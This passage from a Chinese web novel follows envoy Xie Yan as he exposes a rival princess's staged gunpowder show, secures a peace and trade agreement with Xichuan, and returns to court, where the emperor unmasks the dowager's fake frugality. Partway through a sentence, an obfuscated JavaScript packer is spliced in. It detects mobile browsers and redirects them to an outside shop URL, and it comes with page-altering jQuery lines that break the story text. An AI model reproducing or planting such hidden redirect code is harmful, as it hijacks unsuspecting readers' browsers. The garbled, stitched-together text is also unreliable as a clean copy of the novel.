本来西川王是想让谢彦他们先离开的,但一想到万一要是念月在他把大启使团赶走后,却拿不出她口中所说的东西,那到时他再想回头找大启使团谈议和之事,那就会被处于被动的局面,这可能也正是念月想要达到的真正目的,让他得罪大启,最后只能选择和南越合作。 因此西川王对念月道:“大启来使刚才可是当着念月公主的面,大大方方说明此行的目的,念月公主此时要是将人赶走,倒是显得南越行事太过小家之气了。” 念月听了西川王的话,似乎被戳到了痛处,脸色难看异常,毕竟南越弹丸之地,本来就没有什么大国风范,别说和大启比,就是和其他几国比也毫无可比之处,这可能就是缺什么就会在什么上面自卑,如今被西川国君当众说小家之气,顿时就不高兴了,最终勉强答应让谢彦他们留下。 谢彦也没想到西川王竟然如此圆滑,不过这样至少也证明,西川是真有要和大启议和的想法。 他到要看看,南越这次是否真的配制出了火药。 待念月同意后,西川王还让人去把太子请来,可能是想让他也开开眼界。 而念月趁着这个空档,让随行的侍女去宫外取她带来的东西,侍女很快就取回来一只一尺见方的乌木盒子。 之后她还要求去宫殿外面一个空旷的地方,毕竟是要试火药,室内肯定不行,西川王自然答应了她的要求。 等他们到了念月指定的那块空地上,等了好一会,还不见西川太子过来。 西川王见念月似乎等得不耐烦了,暗暗叹了口气,随即让她开始,就在这时,西川太子终于姗姗来迟。 29. 自作自受 谢彦在看到西川太子时,发现他竟然就是那日在卖弓箭的店铺里碰到的西川少年。 西川太子朝谢彦他们微微颌首,随后径直去了西川王的身边。 西川王对于西川太子的晚到,并没有任何责备,还让他坐到自己旁边。 西川王宠爱孩子这件事就如同玄崇宠沈金戈,也是世人皆知,他不仅宠儿子,更宠自己的小女儿,那真是要月亮就不会给星星的程度。 不过从西川太子那日的表现来看,三观显然很正,并没有被宠坏。 念月在看到西川太子后,自然不可能像谢彦那般坦然,原本就不好看的脸色,变得更加难看了,她没想到自己此行运气竟会如此背,竟然在不知情的情况下得罪了西川太子,但谁能料到西川太子会穿得像个叫花子似的在街上乱蹿。 虽然她不会怕,但这对她此行显然不是什么好事,看来此行成败就要看接下来的一举了。 她让侍者先把那只箱子给西川王呈了上去,说是要让西川王过目一下,西川王刚想打开,就听谢彦道: “陛下,听闻念月公主最擅长巫术和蛊术,在下觉得,虽然这个箱子里装的是念月公主说的火药,但为了安全起见,还是请她自己来比较稳妥。” 西川王听了谢彦的话不觉停了手,而西川太子看向念月的目光,则变得有些危险起来。 念月轻蔑一笑:“大启来使还真是挑拨是非的一把好手。” 谢彦:“这不是挑拨是非,而是以防万一,火药何其危险,陛下金尊之躯,岂能涉这个险。” “大启来使所言及是,我父王金尊之躯,岂能轻易碰这来路不明的东西,不如就请念月公主自己打开吧。” 西川太子说完,把放在西川王面前的箱子,又搬回到了念月面前的桌子上。 念月压着火点了点头,随即打开了箱子,从里面拿出一个带着火信很粗的竹筒来,看着和炮竹无异。 她左手拿着那个粗竹筒,嘴里不知念了句什么,随即右手食指和中指并拢,随意在空中划拉了一下,随即众人就见从念月原本并拢的指缝间,突然窜出火苗来。 在场的人都被这突然窜出的火苗惊了一下,念月看到众人的反应后,挑衅的看了谢彦一眼,只是谢彦并没有像其他人那样感到震惊,反倒用一种看杂耍的表情看向她。 念月皱了皱眉,借着手里的火苗点燃了露在外面的火信,随即一扬手将其扔到了远处的空地上,整个动作行云流水。 众人见念月自信满满,再加上她之前的嚣张态度,和凭空生火那一出,已经基本相信她说的,南越真的再次配制出了火药,因此都悬着一颗心,很怕百年前的血流成河再次重演,但却又无力阻止。 而被念月甩出去的那个竹筒,此时发出一声巨大的响声,众人寻声看去,就见竹筒着落的那处地方,被炸的尘土飞扬,并且出现了一个浅浅的坑。 虽然那个坑很浅,但若是砸在人身上,不炸死也得被炸伤。 “没想到本公主只是给各位展示了我南越威力最小的火药,就把各位吓到了,真是抱歉。” 念月嘴里说着抱歉,可那表情却充满了得意,她对西川王道:“陛下,不知现在可否能把无关的人给请出去了?” 西川王闻言,深深叹了口气,有些无奈的看向谢彦,刚想开口,就见有个侍卫,拿着一个细小的竹筒匆匆赶来。 可能是什么比较急的消息,西川王当场就打开了那个细竹筒,从里面抽出一张纸条,在看完那张纸条后,他的神色变得更加凝重,不过不知想到了什么,突然神色又缓和了一些。 等他再看向谢彦他们时的神色,已经完全和之前的神色大不相同了。 西川王对念月道:“念月公主,既然你们真配制出了火药,想来也无需再与我西川合作,我们西川就不沾你们南越这个光了!” 他说完又对身边的侍卫道:“送南越来使回驿馆。” 念月见本来已经被震慑住的西川王,突然就改变了态度,眉头不由皱起,脸也彻底拉了下来。 “本公主劝西川国君一句,要是不想像大启那样被多国围剿,还是不要意气用事,你可能还不知道,本公主的下一站要去的是北狄,你猜北狄在得知南越有火药后,会不会与我南越合作,不仅如此,我南越说不定还要与北狄联姻,到时我们两国强强联手,你觉得还有谁可以抵挡!” 西川王却并没有因她威胁的话而惧怕,淡淡道:“念月公主的计划确实不错,只可惜你晚了一步,大启的沈将军已经先你一步,向北狄展示了火药的威力,所以北狄现在已经和大启议和了!” 念月闻言,终于知道西川王为什么突然就改变态度来,不过她显然不能接受大启配制出了火药的事实:“这绝不可能,大启怎么可能有人能配置出火药,那个沈金戈一向善于使诈,她一定是使手段欺骗了北狄王。” 一直冷眼旁观的谢彦闻言,突然冷冷道:“我大启的沈将军才没你这么蠢,把别人都当成傻子,使些拙劣的江湖把戏,就以为能骗过所有人。” 念月闻言眸底闪过一丝心虚,不过很快就被她掩饰了,她大声道:“什么江湖把戏,你别想污蔑本公主,还有你不说话我还忘了,沈金戈好像是你的妻子吧,听闻之前好像还当众把你给弃了,后来不知为何又把你给捡回去了,还利用关系让你平步青云,你一个靠妻子上位的废物,有什么资格骂本公主!” 谁料谢彦却坦坦荡荡道:“你说的没错,要是没有我娘子,我说不定都不能活着走出龙泉县,就更别说平步青云了,不过这有什么可丢人的,你以为大启第一女战神,是谁想娶就能娶到的吗!” “哈哈哈……”西川太子第一次见有人能把靠妻子上位说得这么理直气壮,似乎还引以为豪的,一个没忍住笑出了声,原本心底的担忧,因为他父王和谢彦的话也消散了不少。 他冷静下来想想,刚才念月的那些操作确实太过刻意,而且以他对南越的了解,要是他们真配制出了火药,绝不可能还要大老远跑来和他们合作,比起念月,他更相信大启沈将军的人品,沈将军那样的人,绝不可能无的放矢。 不过谢彦坦坦荡荡的样子,让西川太子倒是觉得比那个装腔作势的念月顺眼多了,而且之前在街上遇到谢彦时,谢彦的谈吐和见识,也实在不像个要靠妻子上位的废物,更何况据说这次大启会与西川议和互通商贸,还是谢彦在科举时提出来的。 这时西川王对念月道:“念月公主,本王心意已决,不会同南越合作,请回吧。” 但念月显然不甘心就这么被赶回南越,她压了压火,随即道:“既然沈金戈说大启有火药,那想必这次大启来使也带了,本公主倒是也想开开眼界,要是大启使臣拿不出来,那就说明他们夫妻俩是在合伙欺骗各国。” 西川王虽然并不觉得大启第一女战神,会拿这种事骗北狄王,而且北狄王和北狄太子都不是傻子,哪有那么好骗。 不过西川王显然也想亲眼见见大启配制出来的火药威力,毕竟只有比刚才念月带来的那个威力强,才能制衡嗜杀成性的南越,因此西川王在听了念月的话后,还是看向了谢彦。 谢彦本来不想靠火药这种东西达成与西川合作的目的,毕竟只有心甘情愿的合作,才能让双方的未来走得更远。 而且西川和北狄的情况不同,对于北狄那样的好战分子,就像沈金戈说的,如若没有东西能震慑住他们,战争绝不可能在短时间内停息。 而西川这边,是可以坐下来心平气和的谈的,那为何还要用火药来威胁西川,但现在念月不依不饶,就连西川王也想看,那就只能稍微展示一下了,反正现在大启和西川的议和基本已经稳了,略微展示一下大启现在的实力倒也无伤大雅。 于是谢彦让韩离快速回驿馆,让他从自己带来的那箱球中取一颗黑色的小球过来。 虽然谢彦上次给韩离的只是改良后的迷药炮竹,但他现在却莫名相信谢彦能配制出让人谈之色变的火药,所以听了谢彦的话,立刻就回驿馆去拿了。 至于单明远他们,虽然在遇袭的时候也听到过几声巨响,但他们还是不敢相信,大启真的已经配制出了火药,都不由看向谢彦。 谢彦示意他们回去再细说,之后单明远他们即便内心惊涛骁浪,但也极力维持面上的平静,想着不能在关键时刻拖谢彦后腿。 韩离速度很快,没多久就拿着一颗黑色的小球回来了。 西川王看着那颗黑乎乎的小球,还不到念月刚才带来的那个竹筒一半大,不觉有些担心其威力是否能赶上念月刚才带来的那个。 西川太子倒是没有西川王的顾虑,他反倒觉得这个小黑球比念月带来的那个大竹筒看着靠谱许多。 谢彦也没有念月那些花里胡哨的前奏,直接让韩离去把那个球点了。 韩离因为路上已经有了经验,把那个球点了后给远远的扔了出去。 虽然他相信谢彦,但那颗球爆炸时的声响,还是超出了他的预料,声音比先前的那些大了足有数倍,而且在炸开的一瞬间,尘土飞溅,所扔的地方当即就被炸出了一个大坑,要是那个位置有人,那场面不敢去想。 不止韩离惊得目瞪口呆,在场的所有人都面声俱惊,毕竟那么小的一颗球就有这么大的威力,那要是再大一些呢,大家难以想象爆炸后会是什么结果,不过可以确定一点,百年前因火药带来的血流成河,绝对没有夸大的成分。 而念月则早已面如土色,不过等她反应过来,又指着谢彦暴喝道: “没想到大启一直自诩泱泱大国,礼仪之邦,竟然也干这鸡呜狗盗之事,偷了我南越配制火药的方法,竟然还敢光明正大拿出来用,真是太不要脸了,像你们这样的小人行径,哪个国家敢与你们合作!” 谢意眸色沉沉的道:“到底谁是小人行径,相信不用别人说,只要长眼睛的都看得到,百年前即便大启没有配制出火药,也一样打得你们南越这些丧心病狂、视人命如草芥的畜生屁股尿流,大启就连在国力最鼎盛的时期,也没有欺辱过周围的任何一个国家。如今大启虽然已经出了能配制出火药的人,但我大启也从未想过要靠火药来作威作福,威胁别国,要不然你以为你现在还能好端端的坐在这里大吼大叫!” 念月讥讽道:“你说的倒是好听,你们要是没拿火药威胁别国,沈金戈在北狄用火药威胁北狄的事怎么会传到西川来?” “沈将军会用火药,也不过是为了让脾气有些暴躁的北狄王能安静坐下来好好说话,你们南越和东陵还有北狄,在我大启内乱受灾的时候,不顾仁义道德,想趁机瓜分我大启,导致大启腹背受敌,要是不用一些特殊手段,你们能愿意好好坐下来说话?但大启也不是对谁都会用这种被你们逼出来的非正常手段,我大启使团来到西川后,你可见我们有提过一句关于火药的话,那是因为西川国君和我大启国君一样,素来不好战,把老百姓的命当命,像西川国君这样宽厚仁慈的国君,自然就该受到最高的礼遇。” 谢彦的一席话,不仅怼得念月无言以对,还让西川王放心了不少,虽然他也听出了谢彦的话里,多少有些马屁的成分在,毕竟他不相信大启国君一点都没感觉到,其实西川也不是没有想过要瓜分大启,但相比较之下,西川确实没狠心到对人命熟视无睹的程度,哪怕是别国百姓的命也是命。 可能也正因为这一点,才让谢彦他们这些大启来使从头到尾都对他恭敬有加,甚至要不是被念月一再逼迫,谢彦都没打算拿火药这事来威胁西川与大启合作,倒是拿个不知到底是真还是假的火药来唬人的念月,嚣张跋扈到让人厌烦。 所以相比较南越有火药,西川王宁可火药的配制方法握在大启手中,因为大启素来就不好战,除非是有人先挑起战争,不然他们绝对不会主动入侵别国。 最终西川和大启的议和,以及互通商贸,自然是毫无悬念的达成了。 而念月则带着自己的人面色阴沉的走了。 不过等念月他们刚离开西川,西川王的寝宫里,以及驿馆谢彦的房间里,突然就冒出许多毒蛇来。 只是数日后,却有一个消息传遍列国,说南越长公主在出使西川后,回南越的途中,马车里突然惊现许多毒蛇。 一个素来能养蛊也能御蛇的南越长公主,最后竟然被毒蛇给咬了,而且据说被咬的时候,她是处于昏迷状态中的,要不是她体质特殊,估计就再也醒不过来了。 不过从那之后,一直都以自己美貌为荣,出门从来不带面纱的念月,不管去哪都要带上面纱,很多人猜她可能被毒蛇咬伤了脸。 不过这些都是后话,还是先说回正在出使西川的谢彦这边。 “这次多亏有谢大人,才让西川皇室免遭一场浩劫。” 西川驿馆内,西川太子毕恭毕敬用大启的礼节给谢彦行了一礼。 这次要不是有谢彦提醒和出手相助,他们肯定会着了念月的道。 本来谢彦还以为,念月会给他们下蛊,或是用那不知是真是假的巫术,没想到她竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100997|130138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然简单粗暴,直接给他们招来那么多能要人命的毒蛇。 多亏谢彦做了好几手准备,还顺带提醒西川王和西川太子做了相同的准备,最后那些蛇都被他们事先准备的掺了迷药的蛇药给迷晕了。 最后谢彦还让韩离带着那些晕了的毒蛇,来了一个以其人之道,还施彼身。 只是谢彦也没料到,念月体内的抗毒性竟然那么强,那么多毒蛇竟然都没能咬死她。 另外这次他们还抓到了一个南越潜在西川皇宫里的细作,要不是念月为了让她带来的那个大炮竹能把人都唬住,让那个南越细作提前在她指定的地方把土挖松,事后在西川王彻查的时候,也不会那么容易就暴露了身份。 谢彦对于西川太子的感谢,依旧是一如既往的礼貌周全:“殿下言重了,西川能在我大启深陷危机之时,还愿与我大启合作,应该是在下感谢殿下和陛下才是。” 西川太子听了谢彦的话,不觉有些惭愧,毕竟与大启合作,是西川权衡利弊后的结果,要是大启前几年派使臣过来谈议和的事,西川肯定不会同意,他不相信谢彦和大启国君会不清楚这一点。 不过这就是大启的格局,只要别国还能给他们留有一丝善念和余地,他们都会加倍奉还,如今西川与大启合作,确实是双赢的局面。 不过国与国之间的外交,很多时候不能说的太过直白,只能心照不宣,不过双方以后做事都会做到心中有数,若是觉得有所亏欠,就手松一松,多给对方一些便利。 就比如现在,谢彦他们这次所带来的那支商队,就在西川太子的帮助下,在西川的皇城里找到了一个绝佳的位置,售卖他们从大启带来的货品,而且还不用交税。 一时之间,色彩艳丽的面料,价格只有南越卖给西川的茶叶一半价格的大启茶叶,精致细腻的瓷器,以及大启的好酒和那些稀奇的小物件,都成了西川人狂热抢购的对象。 不到两天时间,他们带来的那么多的货品就被抢购一空。 等很多闻讯从附近城镇赶来的人到了,什么都没买到,不过他们倒也没有太过失望,毕竟他们已经知道大启和西川恢复通商的事,以后他们不仅能买到比现在便宜很多的大启商品,还能把他们自己产的各种特产卖到大启去。 要知道大启人的购买力,在盛世时,那可是非常惊人的,所以没有一个西川老百姓会反对和大启恢复通商这件事。 而谢彦卖掉了带来的货品后,又买了一大批的粮食,棉花,还有不少葡萄酒和西川特产,比如孜然,羊毛毯,风干的牛肉等。 谢彦甚至还夸张的买了十头奶牛,准备想办法带回大启。 和谢彦一起来的人,见这里的粮食和棉花比现在大启的价格足足便宜了一半,便也把赚来的银子都买了粮食和棉花,这些回去他们即便卖得比大启现在的粮价便宜两成,还能赚上不少。 这样不仅他们赚钱,也能让大启的百姓用相同的银子多买到一些粮食,若是今年大启能风调雨顺,粮食丰收,等到明年,高昂的粮价应该就能恢复到正常水平。 虽然现在大启已经无需再向西川送什么礼,但出于礼节,谢彦还是按照应有的出使礼节送了西川王礼物,其中不仅有瓷器,茶叶,丝绸这些,还有两匹珍贵的流云锦。 西川王和西川太子在看到那两匹流云锦后,简直眼睛都看直了,不过他们脑子里却都只有一个想法,那就是这个要拿来给他们的小公主做套绝美的衣裙。 因为流云锦的缘故,西川给大启国君的回礼不免又加了不少,回礼中不仅有一大批大启如今紧缺的粮食和棉花,还有就连在西川都很罕见的琉璃盏一套,这套琉璃盏西川王已经珍藏多年,送的时候谢彦还能明显看出他的依依不舍。 谢彦在看到这套琉璃盏后也是眼睛一亮,他到不全是因为美轮美奂的琉璃盏而惊叹,而是他似乎想到了一个可以用最少的成本,来装修出能超越云上楼奢华装潢的办法。 这得多亏西川王拿出多年的珍藏来作为回礼送给玄崇,才提醒了谢彦,他回去后就打算研究烧制琉璃,要是能成功,就可以用烧制出来的琉璃来装饰万贺楼。 要知道琉璃在这个时代可是异常珍贵的,到时还怕不能把云上楼的超豪华装潢给比下去。 虽然谢彦以前没烧制过琉璃,但作为一个生在信息爆炸时代的现代人,琉璃最基本的烧制流程他还是知道的,到时最多多花些时间来研究便是了。 想到这里,谢彦心情大好的对西川王道:“日后若在下有幸得了类似的琉璃盏,到时送一套与陛下。” 西川王闻言,虽然觉得谢彦有吹牛的嫌疑,毕竟琉璃在他们西川都少见,就别说其他几国了,但谢彦的话还是让他觉得心里熨帖,毕竟以大启现在的实力,完全没必要再对他毕恭毕敬,但谢彦却从始至终都保持着使臣对别国国君该有的礼节,大国风范尽显。 最终西川王点了点头,还送了谢彦一把罕见的良弓,这把弓的材质竟然是犀牛角的,比谢彦在店里买的那把要好太多了,拉力也更重。 因为西川王听自己儿子说过,他第一次和谢彦见面,谢彦就是因为一把弓被念月奚落和羞辱的,甚至还差点被念月用弓砸伤,想来谢彦是爱弓之人,而且谢彦还替大启国君送了他孩子一把弓,所以西川王才会想到回送他一把弓。 另外还有一个原因,就是这把弓虽好,但西川皇室的人里,却没人能拉得动。 不得不说,这把弓真是送到谢彦心坎上去了,他觉得柳如烟要是有了这把弓,一定能在战场上大杀四方,帅到惨绝人寰。 虽然柳如烟的长相和帅搭不上半毛钱关系,但在谢彦心中,他觉得柳如烟搭箭拉弓的时候就是最帅的男人。 谢彦由衷感谢了西川王送自己的这份厚礼,并且在心里决定,等琉璃烧制成功了,一定要多送西川王几套琉璃摆件。 至于他自己在店里买的那把弓,他起初打算要不就送给沈金戈用,但又怕她多想,最后决定留给铁蛋长大后用。 不过临离开西川的前一天,谢彦还是鬼使神差的又去了一趟街上,挑了许久,最终买了把镶满宝石十分精美的弯刀,也不知准备送给谁。 老板不知是因为知道他是大启使臣的缘故,还是因为他买那把弯刀没有还价,觉得良心过意不去,总之还送了谢彦一个红玛瑙雕的貔貅小挂饰,后面他又去买了不少送给万福他们的礼物。 之后谢彦一行人,便带着从西川采买的各种货品,以及西川王送给玄崇的回礼,启程回大启了。 30. 太后送酒 等谢彦他们再次回到玉城的时候,在城门口把守的,已经不是他们出关时为难他们的那个将领了。 另外范鹏将军竟然还亲自在城门口迎接了他们。 虽然他见到谢彦时,依旧鼻子不是鼻子眼不是眼的,似乎嫌弃的不行,但总算是没有再骂他。 不过公务上的事,范鹏都是找单明远说的,谢彦也不在意,反正他在一旁也能听见。 单明远知道范鹏的脾气,虽然有些无奈,但拿他也没有办法,就只能充当范鹏和谢彦之间的传声筒。 据范鹏说,姚延善贪污受贿,谋害人命,已经被抄没家产,打入死牢了,不出意外的话,秋后便要问斩,而通判曾进和姚延善的其他同伙,也已经被一并打入大牢。 谢彦没想到玄崇动作竟然这么快,不过这其中范鹏应该起到了决定性的作用,要不然玄崇即便动作再快,光派人来玉城查也要耗费不少时间,说不定派来的人还会像他们之前一样,受到阻碍甚至是暗杀。 不过谢彦有些不太相信姚延善只犯了这两宗罪,毕竟他身后还有人,但玄崇却只给他定了这两宗罪,看来他暂时还不准备动姚延善背后的人。 谢彦临离开玉城时,给范鹏留了些从西川买来的特产,本来还想给这边军营留些粮食,却被范鹏拒绝了,因为他说姚延善的家和私库都是他带人去抄的,并且皇上说抄没的银钱财宝和粮食,就留给西川边境这边军营作为军饷用,所以西川边境的军营暂时不缺这些,他让谢彦带回去给其他边境的将士。 在范鹏说出这番话的时候,谢彦突然觉得,这个脾气火爆的老头,其实也挺可爱的,因此又给他留了几颗小球。 范鹏对于谢彦私人给他的东西,倒是从不拒绝,还难得没再给谢彦摆脸色。 等一行人浩浩荡荡回到京城的时候,得到出使西川的使团今日回来消息的百姓,已经在街道两旁夹道欢迎他们了,毕竟谢彦他们此次出使西川的成功,将让大启的民生发生巨变。 夏开他们那些商队的人,在去皇宫的半道上,就带着货与谢彦他们这些使臣分开了,谢彦带回来的那些东西,暂时也交由夏开他们带回去安置了。 而谢彦他们则带着西川王的回礼,和谢彦私人的一个大箱子,去了皇宫。 等谢彦他们到宫门口的时候,玄崇竟然亲自带着百官在宫门口迎接他们,玄崇竟然还牵着个穿着一身紫色锦袍,小发揪上系着一根同色发带的孩子,一大一小站在一起还真养眼。 要是谢彦没眼花的话,那个被玄崇打扮的跟个世家小公子似的孩子,应该是他儿子铁蛋。 在看到铁蛋的那一刻,谢彦几个月来悬着的心终于放下,虽然他这段时间都忙着应付外面的种种事情,但夜深人静之时,他也会像普通父母那样,惦记着自己孩子的平安,有没有冷着热着或是受委屈,更担心有人会害他,好在玄崇没有食言。 几个月不见,谢彦觉得,铁蛋没胖也没瘦,不过个子倒是长高了不少。 不知是不是受玄崇的影响,铁蛋身上竟然有了沉稳矜贵之气,至少看见他这个亲爹后,没有再张嘴就嚎,也没有立刻就朝他扑过来,不过铁蛋极力克制的情绪还是被谢彦察觉到了。 谢彦虽然很心疼,但这种时候,铁蛋的这种做法,无疑是最正确的,毕竟一帮人都在盯着他们,只要铁蛋有不合时宜的表现,不说他这个爹,就连玄崇这个为了他一再破例的皇舅舅,恐怕也要被人诟病。 其实玄崇今日完全可以不带铁蛋出来,但他却还是不顾别人的诟病带着铁蛋一起来了,这让谢彦多少有些感动。 “各位爱卿此次出使西川,劳苦功高,朕代大启百姓谢过各位!” 他说着让人拿来一壶酒,亲自给使团里的所有人都斟了一杯酒,并且率先一饮而尽。 使团众人见状,也都一饮而尽,随后齐呼:“谢陛下!” 君臣饮过接风酒,玄崇便把铁蛋的小手郑重其事的交到了谢彦手中,压低声道:“爱卿未负朕所望,朕也不负爱卿所望。” 玄崇说完也不等谢彦开口,摸了摸铁蛋的头,便率先入了宫门,随后百官便鱼贯而入进了宫门。 落在后面的谢彦抱起铁蛋,因为现在他的体质已经被锻炼的比以前好了一些,所以抱起铁蛋到也不再像以前那般费力了。 “爹!”铁蛋趴在谢彦怀里,小声的喊了声爹。 谢彦摸了摸他的小发揪,又在他脸上吧唧亲了一口,才抱着铁蛋跟在众人后面进宫。 铁蛋被他爹亲的忍不住咧嘴笑了起来,笑过之后,又担心他爹抱不动自己,铁蛋便要自己下来走,但谢彦却没让。 一直跟着他的韩离见状,想过来帮他抱孩子,但也同样被谢彦婉拒了。 可能只有为人父母的人才能理解,此刻谢彦的心情。 进宫后,此次出使西川的使团在回禀了此行相关事宜后,玄崇难得大方留大家吃了顿饭,还难得有鱼有肉的。 不过这顿饭,有人吃的心满意足,也有人吃的食不知味,魏相照例称病没有出现,到是一直存在感极低的太后,派人给他们送来了两坛酒。 带人来送酒的是太后宫里的一个大宫女瑶彩,她着重说明,这两坛酒是太后熬夜做针线活,让人拿去换了钱打的酒。 百官闻言,面色都十分难看,太后做针线活换来的酒,这谁还敢喝。 最终还是玄崇对送酒来的瑶彩道:“太后有心了,不过这酒都是太后费尽心神才得来的,实在太过珍贵,朕和各位爱卿要是喝了这酒,恐怕要折福了。” 玄崇说罢,对身边的袁公公道:“公公,你派人把太后送来的这两坛酒,送去皇家祠堂,这么珍贵的酒,还是留给先帝他们品尝吧。” “是,老奴这便去。” 袁公公说完,直接就让送酒来的那两个宫人,跟着他把酒送去皇家祠堂。 瑶彩闻言则是脸色一白,但也不敢再多说什么,刚想退下,就听玄崇又道: “你回去转告太后,虽然这几年大启局势艰难,但朕给太后的各项供奉却是有增无减,即便是太后心疼朕要给朕改善伙食,应该也无需她老人家费神做针线换的那几文钱去给朕买肉吃,如今又要用做针线活得来的银钱,给各位爱卿换酒喝,这要朕和各位爱卿该如何自处,要是太后实在闲不住,不如就让她多去祠堂陪陪先帝吧。” 玄崇此话一出,瑶彩脸上的血色已经褪尽,眸子里有惶恐,甚至还夹杂着心虚,就连在场很多大臣的脸色也变了。 近一年来,宫外一直有传言传出,说太后为了给节俭的皇上改善伙食,经常熬夜到深更半夜做绣活,然后让人拿去宫外换银钱给皇上改善伙食,还有传言说太后为了节约皇室开支,还主动提出削减自己的例银。 虽然这种谣言有些荒唐,但竟然还真有人信,听到过这个传闻的百姓,都夸太后贤德,就连贤王也一起被夸,说不愧是有其母必有其子。 玄崇对此也从来不闻不问不解释,没想到今日竟然当着文武百官的面,就这么硬生生的把太后的表面功夫给拆穿了。 也是,要是太后真心疼这个先太后生的儿子,哪里需要熬夜做什么针线,还闹得满城皆知,她只要从自己的供奉里稍微拿出那么一点点,也够给皇上改善伙食的了。 更何况听皇上今日话里的意思,在他登基后,非但没有削减给太后的供奉,甚至还有增无减,而太后说的给皇上改善伙食,却每次只拿出几文钱,要是这些不是真的,想来皇上也不会当着百官的面下太后的脸面。 从惊惧中反应过来的瑶彩连忙跪倒在地:“回陛下,陛下有所不知,其实太后的那些供奉,都被她拿给贤王,让他悄悄去接济外面那些贫苦百姓了,而且那些有关太后做针线给陛下改善伙食的传言,也不是太后让人传的,她老人家每次都是让人悄悄去做的,生怕被人知道会影响到陛下的声名,只是不知最后怎么会传出去。还有太后每次怎么可能只拿几文钱给陛下改善伙食,肯定是被办差的人中饱私囊了,奴婢回去一定会回禀太后,太后一定会彻查此事的。” 玄崇闻言有些好奇的问:“既然如此,那今日太后为何又要让你当着百官的面,说那两坛酒,是她做针线活换来给百官喝的呢?” “这,这是奴婢自己的意思,太后并不知情,奴婢也是不想太后一片苦心,最终陛下却不知情,到最后在被小人挑拨,让太后与陛下母子之间离了心,所以才违背太后懿旨,擅自作主。” 正在给铁蛋夹菜的谢彦心说,这个瑶彩倒也算是有些急智在身上,但她这话说出来,谁会相信,没有太后授意,她就算有一百个胆子,也不敢当着文武百官的面这么说,而且她竟然还敢胆大包天的称皇上和太后是母子,看来今日她是没想活着回去了。 要知道皇上的生母可是先太后,在先太后去世前,如今的魏太后只是一个妃子,严格来说,魏太后的身份在皇上这里,只能算是他父皇的一个侧室,瑶彩现在竟然说皇上和一个侧室是母子,这话要是认真追究起来,诛九族都够了。 不过玄崇并没有处置瑶彩,他只是对侍卫说:“这是太后的人,朕就不处置了,你们把她送回太后宫里,另外把她刚才说过的话,一字不落的回禀太后。” “是!”。 两个侍卫闻言就要上前,谁料瑶彩却突然起身,毫不犹豫的朝一旁的柱子上撞,瞧着是想死在这大殿上。 不过有个人身形一晃就到了瑶彩面前,一把将她给抓住了,还顺手卸了她的下巴,把她交给了那两个侍卫后,那人便退回到了谢彦身边。 两个侍卫朝退回谢彦身边的韩离拱了拱手,一脸怒容的押着下巴都被卸了还不安分的瑶彩出去了。 魏相的那些爪牙见状想说什么,就听玄崇道:“今日是我大启使臣出使西川归来的好日子,不要让不相干的人坏了兴致,来,朕再敬各位爱卿一杯。” 如今大启的局势已经今非昔比,玄崇不仅寻回了那个女煞神沈金戈,还找到了能替大启配制火药的人,因此玄崇此话一出,魏相的那些爪牙没人再敢多言,随着众人端起了酒杯,一饮而尽。 待众人喝完,玄崇对大理寺卿韩泰道:“韩爱卿,你生了一个好儿子,此次大启使团能够平安归来,韩离功不可没。” 韩泰却道:“陛下莫要夸他了,保护好大启出使西川的各位同僚,是小儿作为一个大启子民应该做的。” “没有什么应该不应该的,韩离他不是大启官员,他完全没有这个义务,所以朕会赐他黄金百两,算是这次他护送大启使团去西川的酬劳。” 韩泰闻言刚想拒绝,玄崇却出言制止了他:“朕金口玉言,难道爱卿也想抗旨?” 韩泰闻言忙道:“臣不敢!” 一旁的谢彦难得看到玄崇大出血,赶紧小声提醒韩离:“还不赶紧过去谢恩。” 韩离闻言,连忙上前跪下:“谢陛下赏赐。” 玄崇笑眯眯的抬了抬手:“快快平身!” 韩离谢了恩后,又退回到了谢彦身边,玄崇见韩离看谢彦的眼神和举动似乎十分敬重,不由挑了挑眉。 随后他又对其他使臣道:“各位爱卿连日赶路,舟车劳顿,暂且先回去好好休息,待各位休息好了,朕另有封赏。” 单明远等人都知道现在大启的情况,他们没指望玄崇也能赏他们个黄金百两啥的,毕竟他们是大启官员,拿的是大启的俸禄,为大启分忧是他们的职责所在,而且说到底,这次出使西川他们只能算是陪衬,真正出力的是谢彦和韩离他们。 如今听皇上这么说,倒也算是意外之喜,因此纷纷跪下谢恩。 待宴席散了后,韩离带着皇上赏的一百两黄金,跟着韩泰回家去了。 到了家后,韩夫人见自己小儿子不仅平安回来,还得了陛下的夸赞和赏赐,也是欣喜不已。 这笔赏金对于目前的韩家来说,可以说太及时了,因为韩泰的老母亲近年来得了富贵病,大夫说需要长期吃名贵的药材续命,所以一家虽然省吃俭用,但光靠韩泰的俸禄,也只能勉强维持给韩老夫人配药的药费,时间一长,怕就要供应不起了,如今皇上赏赐的这百两黄金,倒是解了他们家的燃眉之急。 韩泰和妻子在征询韩离的意见后,韩离完全没意见,毕竟他也很爱自己慈爱的祖母,自然希望自己祖母能够长命百岁,他甚至又从身上掏出一张一千两的银票,放到了那百两黄金上,说是一起留给祖母配药用。 韩泰在看到银票后却沉了脸:“这一千两银子是哪里来的?” 韩离道:“谢大哥给的,他说这次多亏有我,不然他们这次还真不一定回得来。” 一旁的韩夫人闻言却有些疑惑的问:“谢大哥是谁?” “谢大哥就是谢大人谢彦。” 韩离的话一出口,不仅韩夫人意外,就连韩泰都有些意外,毕竟之前韩泰在家夸谢彦时,韩离还一脸的不相信和不服气,但现在竟然都改口叫谢大哥了,看来这一路上,谢彦是做了让他们这个除了他师父,谁也不服的小儿子服气的事了。 而且看来谢彦应该对韩离还不错,不然韩离绝不会主动叫一个非亲非故的人大哥。 不过韩泰还是有些生气道:“你谢大哥给你,你就这么收了,这是一千两,可不是一两或是十两,你赶紧给我还回去!” “谢大哥早就料到您会这么说,他说这一千两银子,相比较他的命,还是给的太少了,他说您要是让我退回去,那就是觉得他的命,不值这一千两。” 